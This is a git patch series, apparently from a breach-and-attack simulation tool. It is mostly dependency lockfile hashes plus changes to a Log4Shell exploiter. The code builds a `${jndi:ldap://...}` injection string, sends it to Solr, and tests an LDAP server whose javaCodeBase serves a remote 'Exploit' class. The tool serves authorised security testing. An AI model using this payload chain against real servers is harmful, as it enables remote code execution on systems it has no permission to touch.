"sha256:6e6c6086ca271dc11b033d17c3a8bea9f24ebff920c587da090afc9519419d34", + "sha256:f0b0caac3d40627c3c04d7a51b6e06721857a0e10a8775f2d1d7e72901b3a7db" + ], + "version": "==21.1.0" + }, + "simplejson": { + "hashes": [ + "sha256:04e31fa6ac8e326480703fb6ded1488bfa6f1d3f760d32e29dbf66d0838982ce", + "sha256:068670af975247acbb9fc3d5393293368cda17026db467bf7a51548ee8f17ee1", + "sha256:07ecaafc1b1501f275bf5acdee34a4ad33c7c24ede287183ea77a02dc071e0c0", + "sha256:0b4126cac7d69ac06ff22efd3e0b3328a4a70624fcd6bca4fc1b4e6d9e2e12bf", + "sha256:0de783e9c2b87bdd75b57efa2b6260c24b94605b5c9843517577d40ee0c3cc8a", + "sha256:12133863178a8080a3dccbf5cb2edfab0001bc41e5d6d2446af2a1131105adfe", + "sha256:1c9b1ed7ed282b36571638297525f8ef80f34b3e2d600a56f962c6044f24200d", + "sha256:23fe704da910ff45e72543cbba152821685a889cf00fc58d5c8ee96a9bad5f94", + "sha256:28221620f4dcabdeac310846629b976e599a13f59abb21616356a85231ebd6ad", + "sha256:35a49ebef25f1ebdef54262e54ae80904d8692367a9f208cdfbc38dbf649e00a", + "sha256:37bc0cf0e5599f36072077e56e248f3336917ded1d33d2688624d8ed3cefd7d2", + "sha256:3fe87570168b2ae018391e2b43fbf66e8593a86feccb4b0500d134c998983ccc", + "sha256:3ff5b3464e1ce86a8de8c88e61d4836927d5595c2162cab22e96ff551b916e81", + "sha256:401d40969cee3df7bda211e57b903a534561b77a7ade0dd622a8d1a31eaa8ba7", + "sha256:4b6bd8144f15a491c662f06814bd8eaa54b17f26095bb775411f39bacaf66837", + "sha256:4c09868ddb86bf79b1feb4e3e7e4a35cd6e61ddb3452b54e20cf296313622566", + "sha256:4d1c135af0c72cb28dd259cf7ba218338f4dc027061262e46fe058b4e6a4c6a3", + "sha256:4ff4ac6ff3aa8f814ac0f50bf218a2e1a434a17aafad4f0400a57a8cc62ef17f", + "sha256:521877c7bd060470806eb6335926e27453d740ac1958eaf0d8c00911bc5e1802", + "sha256:522fad7be85de57430d6d287c4b635813932946ebf41b913fe7e880d154ade2e", + "sha256:5540fba2d437edaf4aa4fbb80f43f42a8334206ad1ad3b27aef577fd989f20d9", + "sha256:5d6b4af7ad7e4ac515bc6e602e7b79e2204e25dbd10ab3aa2beef3c5a9cad2c7", + "sha256:5decdc78849617917c206b01e9fc1d694fd58caa961be816cb37d3150d613d9a", + "sha256:632ecbbd2228575e6860c9e49ea3cc5423764d5aa70b92acc4e74096fb434044", + "sha256:65b998193bd7b0c7ecdfffbc825d808eac66279313cb67d8892bb259c9d91494", + "sha256:67093a526e42981fdd954868062e56c9b67fdd7e712616cc3265ad0c210ecb51", + "sha256:681eb4d37c9a9a6eb9b3245a5e89d7f7b2b9895590bb08a20aa598c1eb0a1d9d", + "sha256:69bd56b1d257a91e763256d63606937ae4eb890b18a789b66951c00062afec33", + "sha256:724c1fe135aa437d5126138d977004d165a3b5e2ee98fc4eb3e7c0ef645e7e27", + "sha256:7255a37ff50593c9b2f1afa8fafd6ef5763213c1ed5a9e2c6f5b9cc925ab979f", + "sha256:743cd768affaa508a21499f4858c5b824ffa2e1394ed94eb85caf47ac0732198", + "sha256:80d3bc9944be1d73e5b1726c3bbfd2628d3d7fe2880711b1eb90b617b9b8ac70", + "sha256:82ff356ff91be0ab2293fc6d8d262451eb6ac4fd999244c4b5f863e049ba219c", + "sha256:8e8607d8f6b4f9d46fee11447e334d6ab50e993dd4dbfb22f674616ce20907ab", + "sha256:97202f939c3ff341fc3fa84d15db86156b1edc669424ba20b0a1fcd4a796a045", + "sha256:9b01e7b00654115965a206e3015f0166674ec1e575198a62a977355597c0bef5", + "sha256:9fa621b3c0c05d965882c920347b6593751b7ab20d8fa81e426f1735ca1a9fc7", + "sha256:a1aa6e4cae8e3b8d5321be4f51c5ce77188faf7baa9fe1e78611f93a8eed2882", + "sha256:a2d30d6c1652140181dc6861f564449ad71a45e4f165a6868c27d36745b65d40", + "sha256:a649d0f66029c7eb67042b15374bd93a26aae202591d9afd71e111dd0006b198", + "sha256:a7854326920d41c3b5d468154318fe6ba4390cb2410480976787c640707e0180", + "sha256:a89acae02b2975b1f8e4974cb8cdf9bf9f6c91162fb8dec50c259ce700f2770a", + "sha256:a8bbdb166e2fb816e43ab034c865147edafe28e1b19c72433147789ac83e2dda", + "sha256:ac786f6cb7aa10d44e9641c7a7d16d7f6e095b138795cd43503769d4154e0dc2", + "sha256:b09bc62e5193e31d7f9876220fb429ec13a6a181a24d897b9edfbbdbcd678851", + "sha256:b10556817f09d46d420edd982dd0653940b90151d0576f09143a8e773459f6fe", + "sha256:b81076552d34c27e5149a40187a8f7e2abb2d3185576a317aaf14aeeedad862a", + "sha256:bdfc54b4468ed4cd7415928cbe782f4d782722a81aeb0f81e2ddca9932632211", + "sha256:cf6e7d5fe2aeb54898df18db1baf479863eae581cce05410f61f6b4188c8ada1", + "sha256:cf98038d2abf63a1ada5730e91e84c642ba6c225b0198c3684151b1f80c5f8a6", + "sha256:d24a9e61df7a7787b338a58abfba975414937b609eb6b18973e25f573bc0eeeb", + "sha256:d74ee72b5071818a1a5dab47338e87f08a738cb938a3b0653b9e4d959ddd1fd9", + "sha256:dd16302d39c4d6f4afde80edd0c97d4db643327d355a312762ccd9bd2ca515ed", + "sha256:dd2fb11922f58df8528adfca123f6a84748ad17d066007e7ac977720063556bd", + "sha256:deac4bdafa19bbb89edfb73b19f7f69a52d0b5bd3bb0c4ad404c1bbfd7b4b7fd", + "sha256:e03c3b8cc7883a54c3f34a6a135c4a17bc9088a33f36796acdb47162791b02f6", + "sha256:e1ec8a9ee0987d4524ffd6299e778c16cc35fef6d1a2764e609f90962f0b293a", + "sha256:e8603e691580487f11306ecb066c76f1f4a8b54fb3bdb23fa40643a059509366", + "sha256:f444762fed1bc1fd75187ef14a20ed900c1fbb245d45be9e834b822a0223bc81", + "sha256:f63600ec06982cdf480899026f4fda622776f5fabed9a869fdb32d72bc17e99a", + "sha256:fb62d517a516128bacf08cb6a86ecd39fb06d08e7c4980251f5d5601d29989ba" + ], + "index": "pypi", + "version": "==3.17.6" + }, + "six": { + "hashes": [ + "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926", + "sha256:8abb2f1d86890a2dfb989f9a77cfcfd3e47c2a354b01111771326f8aa26e0254" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==1.16.0" + }, + "sqlitedict": { + "hashes": [ + "sha256:2affcc301aacd4da7511692601ecbde392294205af418498f7d6d3ec0dbcad56" + ], + "version": "==1.7.0" + }, + "tempora": { + "hashes": [ + "sha256:8d743059a4ea496d925f35480c6d206a7160cacebcd6a31e147fb495dcb732af", + "sha256:aa21dd1956e29559ecb2f2f2e14fcdb950085222fbbf86e6c946b5e1a8c36b26" + ], + "markers": "python_version >= '3.7'", + "version": "==5.0.0" + }, + "tqdm": { + "hashes": [ + "sha256:8dd278a422499cd6b727e6ae4061c40b48fce8b76d1ccbf5d34fca9b7f925b0c", + "sha256:d359de7217506c9851b7869f3708d8ee53ed70a1b8edbba4dbcb47442592920d" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==4.62.3" + }, + "twisted": { + "extras": [ + "tls" + ], + "hashes": [ + "sha256:13c1d1d2421ae556d91e81e66cf0d4f4e4e1e4a36a0486933bee4305c6a4fb9b", + "sha256:2cd652542463277378b0d349f47c62f20d9306e57d1247baabd6d1d38a109006" + ], + "markers": "python_full_version >= '3.6.7'", + "version": "==21.7.0" + }, + "twisted-iocpsupport": { + "hashes": [ + "sha256:306becd6e22ab6e8e4f36b6bdafd9c92e867c98a5ce517b27fdd27760ee7ae41", + "sha256:3c61742cb0bc6c1ac117a7e5f422c129832f0c295af49e01d8a6066df8cfc04d", + "sha256:72068b206ee809c9c596b57b5287259ea41ddb4774d86725b19f35bf56aa32a9", + "sha256:7d972cfa8439bdcb35a7be78b7ef86d73b34b808c74be56dfa785c8a93b851bf", + "sha256:81b3abe3527b367da0220482820cb12a16c661672b7bcfcde328902890d63323", + "sha256:851b3735ca7e8102e661872390e3bce88f8901bece95c25a0c8bb9ecb8a23d32", + "sha256:985c06a33f5c0dae92c71a036d1ea63872ee86a21dd9b01e1f287486f15524b4", + "sha256:9dbb8823b49f06d4de52721b47de4d3b3026064ef4788ce62b1a21c57c3fff6f", + "sha256:b435857b9efcbfc12f8c326ef0383f26416272260455bbca2cd8d8eca470c546", + "sha256:b76b4eed9b27fd63ddb0877efdd2d15835fdcb6baa745cb85b66e5d016ac2878", + "sha256:b9fed67cf0f951573f06d560ac2f10f2a4bbdc6697770113a2fc396ea2cb2565", + "sha256:bf4133139d77fc706d8f572e6b7d82871d82ec7ef25d685c2351bdacfb701415" + ], + "markers": "platform_system == 'Windows'", + "version": "==1.0.2" + }, + "typing-extensions": { + "hashes": [ + "sha256:4ca091dea149f945ec56afb48dae714f21e8692ef22a395223bcd328961b6a0e", + "sha256:7f001e5ac290a0c0401508864c7ec868be4e701886d5b573a9528ed3973d9d3b" + ], + "index": "pypi", + "version": "==4.0.1" + }, + "urllib3": { + "hashes": [ + "sha256:753a0374df26658f99d826cfe40394a686d05985786d946fbe4165b5148f5a7c", + "sha256:a7acd0977125325f516bda9735fa7142b909a8d01e8b2e4c8108d0984e6e0098" + ], + "index": "pypi", + "version": "==1.26.5" + }, + "wcwidth": { + "hashes": [ + "sha256:beb4802a9cebb9144e99086eff703a642a13d6a0052920003a230f3294bbe784", + "sha256:c4d647b99872929fdb7bdcaa4fbe7f01413ed3d98077df798530e5b04f116c83" + ], + "version": "==0.2.5" + }, + "werkzeug": { + "hashes": [ + "sha256:63d3dc1cf60e7b7e35e97fa9861f7397283b75d765afcaefd993d6046899de8f", + "sha256:aa2bb6fc8dee8d6c504c0ac1e7f5f7dc5810a9903e793b6f715a9f015bdadb9a" + ], + "markers": "python_version >= '3.6'", + "version": "==2.0.2" + }, + "winacl": { + "hashes": [ + "sha256:187b4394ef247806f50e1d8320bdb9e33ad1f759d9e61e2e391b97b9adf5f58a", + "sha256:949a66b0f46015c8cf8d9c1bfdb3a5174e70c28ae1b096eb778bc2983ea7ce50" + ], + "markers": "python_version >= '3.6'", + "version": "==0.1.2" + }, + "winsspi": { + "hashes": [ + "sha256:a2ad9c0f6d70f6e0e0d1f54b8582054c62d8a09f346b5ccaf55da68628ca10e1", + "sha256:a64624a25fc2d3663a2c5376c5291f3c7531e9c8051571de9ca9db8bf25746c2" + ], + "markers": "platform_system == 'Windows'", + "version": "==0.0.9" + }, + "winsys-3.x": { + "hashes": [ + "sha256:cef3df1dce2a5a71efa46446e6007ad9f7dbae31e83ffcc2ea3485c00c914cc3" + ], + "index": "pypi", + "version": "==0.5.2" + }, + "wmi": { + "hashes": [ + "sha256:1d6b085e5c445141c475476000b661f60fff1aaa19f76bf82b7abb92e0ff4942", + "sha256:b6a6be5711b1b6c8d55bda7a8befd75c48c12b770b9d227d31c1737dbf0d40a6" + ], + "index": "pypi", + "markers": "sys_platform == 'win32'", + "version": "==1.5.1" + }, + "zc.lockfile": { + "hashes": [ + "sha256:307ad78227e48be260e64896ec8886edc7eae22d8ec53e4d528ab5537a83203b", + "sha256:cc33599b549f0c8a248cb72f3bf32d77712de1ff7ee8814312eb6456b42c015f" + ], + "version": "==2.0" + }, + "zipp": { + "hashes": [ + "sha256:9f50f446828eb9d45b267433fd3e9da8d801f614129124863f9c51ebceafb87d", + "sha256:b47250dd24f92b7dd6a0a8fc5244da14608f3ca90a5efcd37a3b1642fac9a375" + ], + "markers": "python_version < '3.10'", + "version": "==3.7.0" + }, + "zope.interface": { + "hashes": [ + "sha256:08f9636e99a9d5410181ba0729e0408d3d8748026ea938f3b970a0249daa8192", + "sha256:0b465ae0962d49c68aa9733ba92a001b2a0933c317780435f00be7ecb959c702", + "sha256:0cba8477e300d64a11a9789ed40ee8932b59f9ee05f85276dbb4b59acee5dd09", + "sha256:0cee5187b60ed26d56eb2960136288ce91bcf61e2a9405660d271d1f122a69a4", + "sha256:0ea1d73b7c9dcbc5080bb8aaffb776f1c68e807767069b9ccdd06f27a161914a", + "sha256:0f91b5b948686659a8e28b728ff5e74b1be6bf40cb04704453617e5f1e945ef3", + "sha256:15e7d1f7a6ee16572e21e3576d2012b2778cbacf75eb4b7400be37455f5ca8bf", + "sha256:17776ecd3a1fdd2b2cd5373e5ef8b307162f581c693575ec62e7c5399d80794c", + "sha256:194d0bcb1374ac3e1e023961610dc8f2c78a0f5f634d0c737691e215569e640d", + "sha256:1c0e316c9add0db48a5b703833881351444398b04111188069a26a61cfb4df78", + "sha256:205e40ccde0f37496904572035deea747390a8b7dc65146d30b96e2dd1359a83", + "sha256:273f158fabc5ea33cbc936da0ab3d4ba80ede5351babc4f577d768e057651531", + "sha256:2876246527c91e101184f63ccd1d716ec9c46519cc5f3d5375a3351c46467c46", + "sha256:2c98384b254b37ce50eddd55db8d381a5c53b4c10ee66e1e7fe749824f894021", + "sha256:2e5a26f16503be6c826abca904e45f1a44ff275fdb7e9d1b75c10671c26f8b94", + "sha256:334701327f37c47fa628fc8b8d28c7d7730ce7daaf4bda1efb741679c2b087fc", + "sha256:3748fac0d0f6a304e674955ab1365d515993b3a0a865e16a11ec9d86fb307f63", + "sha256:3c02411a3b62668200910090a0dff17c0b25aaa36145082a5a6adf08fa281e54", + "sha256:3dd4952748521205697bc2802e4afac5ed4b02909bb799ba1fe239f77fd4e117", + "sha256:3f24df7124c323fceb53ff6168da70dbfbae1442b4f3da439cd441681f54fe25", + "sha256:469e2407e0fe9880ac690a3666f03eb4c3c444411a5a5fddfdabc5d184a79f05", + "sha256:4de4bc9b6d35c5af65b454d3e9bc98c50eb3960d5a3762c9438df57427134b8e", + "sha256:5208ebd5152e040640518a77827bdfcc73773a15a33d6644015b763b9c9febc1", + "sha256:52de7fc6c21b419078008f697fd4103dbc763288b1406b4562554bd47514c004", + "sha256:5bb3489b4558e49ad2c5118137cfeaf59434f9737fa9c5deefc72d22c23822e2", + "sha256:5dba5f530fec3f0988d83b78cc591b58c0b6eb8431a85edd1569a0539a8a5a0e", + "sha256:5dd9ca406499444f4c8299f803d4a14edf7890ecc595c8b1c7115c2342cadc5f", + "sha256:5f931a1c21dfa7a9c573ec1f50a31135ccce84e32507c54e1ea404894c5eb96f", + "sha256:63b82bb63de7c821428d513607e84c6d97d58afd1fe2eb645030bdc185440120", + "sha256:66c0061c91b3b9cf542131148ef7ecbecb2690d48d1612ec386de9d36766058f", + "sha256:6f0c02cbb9691b7c91d5009108f975f8ffeab5dff8f26d62e21c493060eff2a1", + "sha256:71aace0c42d53abe6fc7f726c5d3b60d90f3c5c055a447950ad6ea9cec2e37d9", + "sha256:7d97a4306898b05404a0dcdc32d9709b7d8832c0c542b861d9a826301719794e", + "sha256:7df1e1c05304f26faa49fa752a8c690126cf98b40b91d54e6e9cc3b7d6ffe8b7", + "sha256:8270252effc60b9642b423189a2fe90eb6b59e87cbee54549db3f5562ff8d1b8", + "sha256:867a5ad16892bf20e6c4ea2aab1971f45645ff3102ad29bd84c86027fa99997b", + "sha256:877473e675fdcc113c138813a5dd440da0769a2d81f4d86614e5d62b69497155", + "sha256:8892f89999ffd992208754851e5a052f6b5db70a1e3f7d54b17c5211e37a98c7", + "sha256:9a9845c4c6bb56e508651f005c4aeb0404e518c6f000d5a1123ab077ab769f5c", + "sha256:a1e6e96217a0f72e2b8629e271e1b280c6fa3fe6e59fa8f6701bec14e3354325", + "sha256:a8156e6a7f5e2a0ff0c5b21d6bcb45145efece1909efcbbbf48c56f8da68221d", + "sha256:a9506a7e80bcf6eacfff7f804c0ad5350c8c95b9010e4356a4b36f5322f09abb", + "sha256:af310ec8335016b5e52cae60cda4a4f2a60a788cbb949a4fbea13d441aa5a09e", + "sha256:b0297b1e05fd128d26cc2460c810d42e205d16d76799526dfa8c8ccd50e74959", + "sha256:bf68f4b2b6683e52bec69273562df15af352e5ed25d1b6641e7efddc5951d1a7", + "sha256:d0c1bc2fa9a7285719e5678584f6b92572a5b639d0e471bb8d4b650a1a910920", + "sha256:d4d9d6c1a455d4babd320203b918ccc7fcbefe308615c521062bc2ba1aa4d26e", + "sha256:db1fa631737dab9fa0b37f3979d8d2631e348c3b4e8325d6873c2541d0ae5a48", + "sha256:dd93ea5c0c7f3e25335ab7d22a507b1dc43976e1345508f845efc573d3d779d8", + "sha256:f44e517131a98f7a76696a7b21b164bcb85291cee106a23beccce454e1f433a4", + "sha256:f7ee479e96f7ee350db1cf24afa5685a5899e2b34992fb99e1f7c1b0b758d263" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", + "version": "==5.4.0" + } + }, + "develop": { + "ldap3": { + "hashes": [ + "sha256:2bc966556fc4d4fa9f445a1c31dc484ee81d44a51ab0e2d0fd05b62cac75daa6", + "sha256:5630d1383e09ba94839e253e013f1aa1a2cf7a547628ba1265cb7b9a844b5687", + "sha256:5869596fc4948797020d3f03b7939da938778a0f9e2009f7a072ccf92b8e8d70", + "sha256:5ab7febc00689181375de40c396dcad4f2659cd260fc5e94c508b6d77c17e9d5", + "sha256:f3e7fc4718e3f09dda568b57100095e0ce58633bcabbed8667ce3f8fbaa4229f" + ], + "version": "==2.9.1" + }, + "pyasn1": { + "hashes": [ + "sha256:014c0e9976956a08139dc0712ae195324a75e142284d5f87f1a87ee1b068a359", + "sha256:03840c999ba71680a131cfaee6fab142e1ed9bbd9c693e285cc6aca0d555e576", + "sha256:0458773cfe65b153891ac249bcf1b5f8f320b7c2ce462151f8fa74de8934becf", + "sha256:08c3c53b75eaa48d71cf8c710312316392ed40899cb34710d092e96745a358b7", + "sha256:39c7e2ec30515947ff4e87fb6f456dfc6e84857d34be479c9d4a4ba4bf46aa5d", + "sha256:5c9414dcfede6e441f7e8f81b43b34e834731003427e5b09e4e00e3172a10f00", + "sha256:6e7545f1a61025a4e58bb336952c5061697da694db1cae97b116e9c46abcf7c8", + "sha256:78fa6da68ed2727915c4767bb386ab32cdba863caa7dbe473eaae45f9959da86", + "sha256:7ab8a544af125fb704feadb008c99a88805126fb525280b2270bb25cc1d78a12", + "sha256:99fcc3c8d804d1bc6d9a099921e39d827026409a58f2a720dcdb89374ea0c776", + "sha256:aef77c9fb94a3ac588e87841208bdec464471d9871bd5050a287cc9a475cd0ba", + "sha256:e89bf84b5437b532b0803ba5c9a5e054d21fec423a89952a74f87fa2c9b7bce2", + "sha256:fec3e9d8e36808a28efb59b489e4528c10ad0f480e57dcc32b4de5c9d8c9fdf3" + ], + "version": "==0.4.8" + } + } +} diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_ldap_server.py b/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_ldap_server.py index 99f32eb18..6d0a8715b 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_ldap_server.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_ldap_server.py @@ -1,13 +1,35 @@ -from pathlib import Path +import pytest +from ldap3 import ALL_ATTRIBUTES, BASE, Connection, Server -from infection_monkey.exploit.log4shell_utils.ldap_server import EXPLOIT_RDN, Tree +from infection_monkey.exploit.log4shell_utils import LDAPExploitServer +from infection_monkey.exploit.log4shell_utils.ldap_server import EXPLOIT_RDN +from infection_monkey.network.info import get_free_tcp_port -def test_java_code_base_url(tmp_path): - ip = "172.10.20.30" - port = 9999 +@pytest.mark.slow +def test_ldap_server(tmp_path): + http_ip = "172.10.20.30" + http_port = 9999 + ldap_port = get_free_tcp_port() - tree = Tree(ip, port, tmp_path) - ldif_path = Path(tree.path) / f"{EXPLOIT_RDN}.ldif" - with open(ldif_path, "r") as exploit_dit: - assert f"javaCodeBase: http://{ip}:{port}/" in exploit_dit.read() + ldap_server = LDAPExploitServer(ldap_port, http_ip, http_port, tmp_path) + ldap_server.run() + + server = Server(host="127.0.0.1", port=ldap_port) + conn = Connection(server, auto_bind=True) + conn.search( + search_base=EXPLOIT_RDN, + search_filter="(objectClass=*)", + search_scope=BASE, + attributes=ALL_ATTRIBUTES, + ) + + assert len(conn.response) == 1 + attributes = conn.response[0]["attributes"] + + assert attributes.get("objectClass", None) == ["javaNamingReference"] + assert attributes.get("javaClassName", None) == ["Exploit"] + assert attributes.get("javaCodeBase", None) == [f"http://{http_ip}:{http_port}/"] + assert attributes.get("javaFactory", None) == ["Exploit"] + + ldap_server.stop() From 77eb3ce00452d96d65c8596bfe83cce6b69956c3 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Mon, 17 Jan 2022 11:40:31 +0200 Subject: [PATCH 59/87] BB: Added log4j configs to the list of manually generatable configs --- envs/monkey_zoo/blackbox/utils/config_generation_script.py | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/envs/monkey_zoo/blackbox/utils/config_generation_script.py b/envs/monkey_zoo/blackbox/utils/config_generation_script.py index f38a48d39..27387ed8d 100644 --- a/envs/monkey_zoo/blackbox/utils/config_generation_script.py +++ b/envs/monkey_zoo/blackbox/utils/config_generation_script.py @@ -6,6 +6,9 @@ from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemp from envs.monkey_zoo.blackbox.config_templates.drupal import Drupal from envs.monkey_zoo.blackbox.config_templates.elastic import Elastic from envs.monkey_zoo.blackbox.config_templates.hadoop import Hadoop +from envs.monkey_zoo.blackbox.config_templates.log4j_logstash import Log4jLogstash +from envs.monkey_zoo.blackbox.config_templates.log4j_solr import Log4jSolr +from envs.monkey_zoo.blackbox.config_templates.log4j_tomcat import Log4jTomcat from envs.monkey_zoo.blackbox.config_templates.mssql import Mssql from envs.monkey_zoo.blackbox.config_templates.performance import Performance from envs.monkey_zoo.blackbox.config_templates.powershell import PowerShell @@ -53,6 +56,9 @@ CONFIG_TEMPLATES = [ WmiPth, Zerologon, Drupal, + Log4jLogstash, + Log4jTomcat, + Log4jSolr ] From 311a72188084107155f22366a1ea4d1e8ec60523 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 17 Jan 2022 16:34:56 +0100 Subject: [PATCH 60/87] BB: Fix IP address for Tomcat machines --- envs/monkey_zoo/blackbox/config_templates/log4j_tomcat.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/envs/monkey_zoo/blackbox/config_templates/log4j_tomcat.py b/envs/monkey_zoo/blackbox/config_templates/log4j_tomcat.py index 58efe5e64..a2274a256 100644 --- a/envs/monkey_zoo/blackbox/config_templates/log4j_tomcat.py +++ b/envs/monkey_zoo/blackbox/config_templates/log4j_tomcat.py @@ -12,6 +12,6 @@ class Log4jTomcat(ConfigTemplate): { "basic.exploiters.exploiter_classes": ["Log4ShellExploiter"], "basic_network.scope.depth": 2, - "basic_network.scope.subnet_scan_list": ["10.2.3.49", "10.2.3.50"], + "basic_network.scope.subnet_scan_list": ["10.2.3.51", "10.2.3.52"], } ) From 51bf553fb5c1873782ec016273825d44319c3f12 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 17 Jan 2022 16:37:03 +0100 Subject: [PATCH 61/87] Agent, Island: Minor changes to Log4Shell Return types, removing logging from solr service and change Log4j to Log4Shell in Island reporting --- monkey/infection_monkey/exploit/log4shell.py | 4 ++-- .../exploit/log4shell_utils/service_exploiters/solr.py | 2 -- .../exploit_processing/exploiter_descriptor_enum.py | 2 +- .../report-components/security/issues/Log4ShellIssue.js | 8 ++++---- 4 files changed, 7 insertions(+), 9 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 80a3cbb6e..d33b7d0bd 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -116,12 +116,12 @@ class Log4ShellExploiter(WebRCE): self._ldap_server.stop(Log4ShellExploiter.DOWNLOAD_TIMEOUT) - def _build_ldap_payload(self): + def _build_ldap_payload(self) -> str: interface_ip = get_interface_to_target(self.host.ip_addr) return f"${{jndi:ldap://{interface_ip}:{self._ldap_port}/dn=Exploit}}" # TODO remove duplication with infection_monkey.exploit.hadoop.HadoopExploiter.build_command - def _build_command(self, path, http_path): + def _build_command(self, path, http_path) -> str: # Build command to execute monkey_cmd = build_monkey_commandline( self.host, get_monkey_depth() - 1, vulnerable_port=None, location=path diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py index 7bdc3fb42..930c6092c 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py @@ -15,8 +15,6 @@ class SolrExploit(IServiceExploiter): def trigger_exploit(payload: str, host: VictimHost, port: int): url = f"http://{host.ip_addr}:{port}/solr/admin/cores?fu={payload}" try: - logger.debug("Sending malicious SOLR log4j request") requests.post(url, timeout=5, verify=False) # noqa DUO123 - logger.debug("Request sent") except requests.ReadTimeout as e: logger.debug(f"Log4shell request failed {e}") diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py index bb63e3cb9..2bce985d5 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py @@ -55,7 +55,7 @@ class ExploiterDescriptorEnum(Enum): POWERSHELL = ExploiterDescriptor( "PowerShellExploiter", "PowerShell Remoting Exploiter", ExploitProcessor ) - LOG4SHELL = ExploiterDescriptor("Log4ShellExploiter", "Log4j Exploiter", Log4ShellProcessor) + LOG4SHELL = ExploiterDescriptor("Log4ShellExploiter", "Log4Shell Exploiter", Log4ShellProcessor) @staticmethod def get_by_class_name(class_name: str) -> ExploiterDescriptor: diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Log4ShellIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Log4ShellIssue.js index e9642d71e..4c1bffb39 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Log4ShellIssue.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Log4ShellIssue.js @@ -2,19 +2,19 @@ import React from 'react'; import CollapsibleWellComponent from '../CollapsibleWell'; export function log4shellIssueOverview() { - return (
  • Some servers are vulnerable to log4shell remote code execution exploit.
  • ) + return (
  • Some servers are vulnerable to the Log4Shell remote code execution exploit.
  • ) } export function log4shellIssueReport(issue) { return ( <> - Upgrade the log4j component to version 2.15.0 or later. + Upgrade the Apache Log4j component to version 2.15.0 or later. The {issue.service} server {issue.machine} ({issue.ip_address}:{issue.port}) is vulnerable to log4shell remote code execution attack. + className="badge badge-danger">the Log4Shell remote code execution attack.
    - The attack was made possible due to an old version of log4j component. + The attack was made possible due to an old version of Apache Log4j component.
    ); From f667d9203bf3bf5ee374fdc7102ba295c898c767 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 18 Jan 2022 11:40:13 +0200 Subject: [PATCH 62/87] Agent: update Pipfile.lock to contain pyinstaller changes Pyinstaller got changed to not crash ldap server that's running on a spawned process, by continuing if no m0nk3y or dr0pp3r flags are specified --- monkey/infection_monkey/Pipfile.lock | 2604 +++++++++++++------------- 1 file changed, 1313 insertions(+), 1291 deletions(-) diff --git a/monkey/infection_monkey/Pipfile.lock b/monkey/infection_monkey/Pipfile.lock index b33e8f835..c6bb2174a 100644 --- a/monkey/infection_monkey/Pipfile.lock +++ b/monkey/infection_monkey/Pipfile.lock @@ -1,1291 +1,1313 @@ -{ - "_meta": { - "hash": { - "sha256": "63101ece611456dcb75bc86d42d2041d10925aa594e517d8ff088262257fe7e9" - }, - "pipfile-spec": 6, - "requires": { - "python_version": "3.7" - }, - "sources": [ - { - "name": "pypi", - "url": "https://pypi.org/simple", - "verify_ssl": true - } - ] - }, - "default": { - "aiowinreg": { - "hashes": [ - "sha256:6cd7f64ef002a7c6d7c27310db578fbc8992eeaca0936ebc56283d70c54573f2", - "sha256:a191c039f9c0c1681e8fc3a3ce26c56e8026930624932106d7a1526d96c008dd" - ], - "markers": "python_version >= '3.6'", - "version": "==0.0.7" - }, - "altgraph": { - "hashes": [ - "sha256:743628f2ac6a7c26f5d9223c91ed8ecbba535f506f4b6f558885a8a56a105857", - "sha256:ebf2269361b47d97b3b88e696439f6e4cbc607c17c51feb1754f90fb79839158" - ], - "index": "pypi", - "version": "==0.17.2" - }, - "asn1crypto": { - "hashes": [ - "sha256:4bcdf33c861c7d40bdcd74d8e4dd7661aac320fcdf40b9a3f95b4ee12fde2fa8", - "sha256:f4f6e119474e58e04a2b1af817eb585b4fd72bdd89b998624712b5c99be7641c" - ], - "version": "==1.4.0" - }, - "asyncio-throttle": { - "hashes": [ - "sha256:a01a56f3671e961253cf262918f3e0741e222fc50d57d981ba5c801f284eccfe" - ], - "markers": "python_version >= '3.5'", - "version": "==0.1.1" - }, - "asysocks": { - "hashes": [ - "sha256:9b33fe5ab6853ed2ac9eb1652f4a8593a78ad5ba258bd10fa4b81801e38729c2", - "sha256:a0a20e583fedb08c962a68dd50764a34424c41bd59a0ae952d8bb368a03eaa45" - ], - "markers": "python_version >= '3.6'", - "version": "==0.1.2" - }, - "attrs": { - "hashes": [ - "sha256:2d27e3784d7a565d36ab851fe94887c5eccd6a463168875832a1be79c82828b4", - 